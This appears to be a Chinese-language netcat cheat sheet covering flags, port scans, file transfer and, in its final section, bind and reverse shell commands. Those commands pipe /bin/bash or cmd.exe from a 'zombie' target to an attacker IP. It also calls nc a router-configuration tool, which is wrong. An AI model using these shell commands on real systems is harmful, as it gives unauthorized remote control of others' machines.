Netcat
-
- 原理
- 常用的参数
- 功能介绍
-
- 端口扫描
- 信息传输
- 文件传输
- 反弹shell
-
- 正向连接
- 反向连接
- 蜜罐
原理
linux nc 命令用于设置路由器
有瑞士军刀的美称,能够读写 TCP 和 UDP 连接,基于socket 协议
nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
常用的参数
-e 程序重定向
-l 使用监听模式
-n 以数字形式显示IP
-v 显示指令执行过程
-p 设置本地主机使用的通信端口
-s<来源地址> 设置本地主机发送数据包的IP地址
-t 以telnet形式应答
-u 使用UDP传输协议
-w<超时秒数> 设置等待连线的时间
功能介绍
端口扫描
nc -l -v 6666 开启6666端口,进行监听
nc -u -z -w2 192.168.0.1 1-1000 扫描UDP端口1-1000
nc -v -z -w2 192.168.0.3 1-100 扫描TCP端口1-100
信息传输
服务端
nc -lvp 8888
客户端
nc -nv 127.0.0.1 8888
文件传输
服务器
nc -lvp 8888 < test.txt
客户端
nc -nv 192.168.10.10 8888 > test.txt
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsIiNx8FesU2cfdGLwczX0xiRGZkRGZ0Xy9GbvNGLwIzXlpXazxSP0IjYrZVba1mVuFVQClGVF5UMR9Fd4VGdsATNfd3bkFGazxycykFaKdkYzZUbapXNXlleSdVY2pESa9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnL0UDMxUDOyYTN3UzNkBjNiVjY3QjZzEGN0QWO1EzNiFzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
反弹shell
正向连接
攻击者主动连接肉鸡
linux目标机
目标机器
nc -lvp 8888 -e /bin/bash 将bash命令 转发到8888 端口
客户端(攻击者)
nc -v 192.168.10.10 8888 监听目标机的 8888 端口
windows目标机
目标机器
nc -lvp 8888 -e cmd.exe 将cmd命令 转发到8888 端口
客户端(攻击者)
nc -v 192.168.10.10 8888 监听目标机的 8888 端口
反向连接
肉鸡主动连接攻击者
linux目标机
客户端(攻击者)
nc -lvp 6666 监听本地6666端口
目标机(肉鸡)
nc 12.125.15.32 6666 -e /bin/bash 执行命令,返回到客户端的6666端口
windows目标机
客户端(攻击者)
nc -lvp 6666 监听本地6666端口
目标机(肉鸡)
nc 12.125.15.32 6666 -e cmd.exe 连接客户端,将结果返回到客户端的6666端口
蜜罐
nc -L -p 8888 > log.txt #监听8888端口,并且将日志信息写入log.txt中